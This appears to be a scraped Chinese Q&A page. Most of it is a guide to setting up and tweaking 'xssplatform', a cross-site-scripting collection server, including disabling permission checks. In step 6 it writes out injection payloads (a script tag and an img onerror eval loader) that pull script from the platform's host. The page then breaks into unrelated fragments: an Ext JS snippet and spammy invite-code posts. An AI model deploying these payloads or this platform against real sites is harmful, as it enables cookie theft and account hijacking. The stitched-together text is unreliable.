本文目录一览：
php怎么处理boundary
需要修改的地方比较多，目前已基本可用，还在学习摸索中。。。
1、将xssplatform.sql中的xsser.me/修改为实际使用的URL，如localhost:6666/xss/
或者导入以后，再进入数据库执行语句修改域名为自己的。
UPDATE oc_module SET
code=REPLACE(code,'','’)
2、修改themes\default\templates\register.html中的提交按钮的源码为：
[html] view plain copy
行53
input id="btnRegister" type="button" onclick="Register()" value="提交注册" /
修改为
input id="btnRegister" type="submit" value="提交注册" /
3、邀请码的生成
[html] view plain copy
（1）将文件source\user.php第10行和50行的权限控制注释掉
//if($user-userId=0) ShowError('未登录或已超时',$url['login'],'重新登录');
//if($user-adminLevel=0) ShowError('没有操作权限',URL_ROOT.'/index.php?do=useract=invite');
然后访问/index.php?do=useract=invite即可生成验证码
（2）注册个用户test，进入数据库，将该用户的adminLevel修改为1，然后去掉（1）中添加到注释；并在第15行case 'invite':处添加权限控制：
if($user-adminLevel=0) ShowError('没有操作权限',URL_ROOT.'/index.php');
（3）或者开放普通注册权限，修改文件/config.php的第18行
$config['register']='invite'; //normal,正常;invite,只允许邀请注册;close,关闭注册功能
4、删除cookie
[html] view plain copy
修改文件themes\default\templates\project_view.html中的Delete()和MultiDelete()函数，将其中post的URL修改为
'/xss/index.php?do=projectact=delcontentr='，即根据实际的服务器路径，在前面添加'/xss'
5、参考修改文件source\class\user.class.php
[html] view plain copy
行 74
$this-db-Execute("UPDATE ".$this-tbUser." SET loginTime='".time()."'");
修改为
$this-db-Execute("UPDATE ".$this-tbUser." SET loginTime='".time()."' where id={$row['id']}");
6、去掉xss URL中的time()动态值，缩短xss URL的长度（不知会不会有啥影响）；
去掉使用提示中的/textarea'\"
[html] view plain copy
文件source/project.php中的修改：
//$codeurl=URL_ROOT."/{$project[urlKey]}?".time();
$codeurl=URL_ROOT."/{$project[urlKey]}";
//$scriptShow1=StripStr("textarea'"script src=".URL_ROOT."/{$project[urlKey]}?".time()."/script");
$scriptShow1=StripStr("script src=".URL_ROOT."/{$project[urlKey]}/script");
//$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}?".'"+Math.random();(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
//$scriptShow2=StripStr("/textarea'\"img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//");
$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}".'";(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
$scriptShow2=StripStr("img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//");
7、登录页面，回车登录；加载完页面后，自动将光标定位在user输入框
[html] view plain copy
文件themes/default/templates/login.html的修改：
!-- input type="submit" value="登录" onclick="Login()" --
input type="submit" value="登录" onclick="Login()"
在body的最后添加：
!-- 页面加载完成后，将光标定位到user输入框 --
scriptdocument.getElementById('user').focus();/script
8、修改提示页面跳转时间为500ms
[html] view plain copy
文件themes/default/templates/notice.html：
行11
setTimeout("location.href='{$notice.turnto}'",3000);
修改为
setTimeout("location.href='{$notice.turnto}'",500);
10、创建项目页面，自动将光标置于项目名称处
[html] view plain copy
themes/default/templates/project_create.html
行55，添加
scriptdocument.getElementById('title').focus();/script
11、rewrite规则
[html] view plain copy
在web根目录下建立.htaccess伪静态文件（仅针对Apache）
RewriteEngine On
RewriteRule ^([0-9a-zA-Z]{6})$ /xss/index.php?do=codeurlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ /xss/index.php?do=doauth=$1domain=$3 [L]
RewriteRule ^register/(.*?)$ /xss/index.php?do=registerkey=$1 [L]
RewriteRule ^register-validate/(.*?)$ /xss/index.php?do=registeract=validatekey=$1 [L]
如何获取XSS测试平台邀请码
Ext.create('Ext.grid.Panel',{title:'ActionColumnDemo',store:Ext.data.StoreManager.lookup('employeeStore'),columns:[{text:'FirstName',dataIndex:'firstname'},{text:'LastName',dataIndex:'lastname'},{xtype:'actioncolumn',width:50,items:
谁有多余的糗百邀请码，有的给个，注册成功给20分
邀请码
SD7V CL9K 65CA 23ZA
KJ98 VBC4 ZXSS MNMK
尽快注册，若是被抢
点击下面网站链接，免费得到糗百邀请码：
在你输入验证码后，糗百邀请码就能领到一枚
注册成功后请及时采纳我的回答！O(∩_∩)O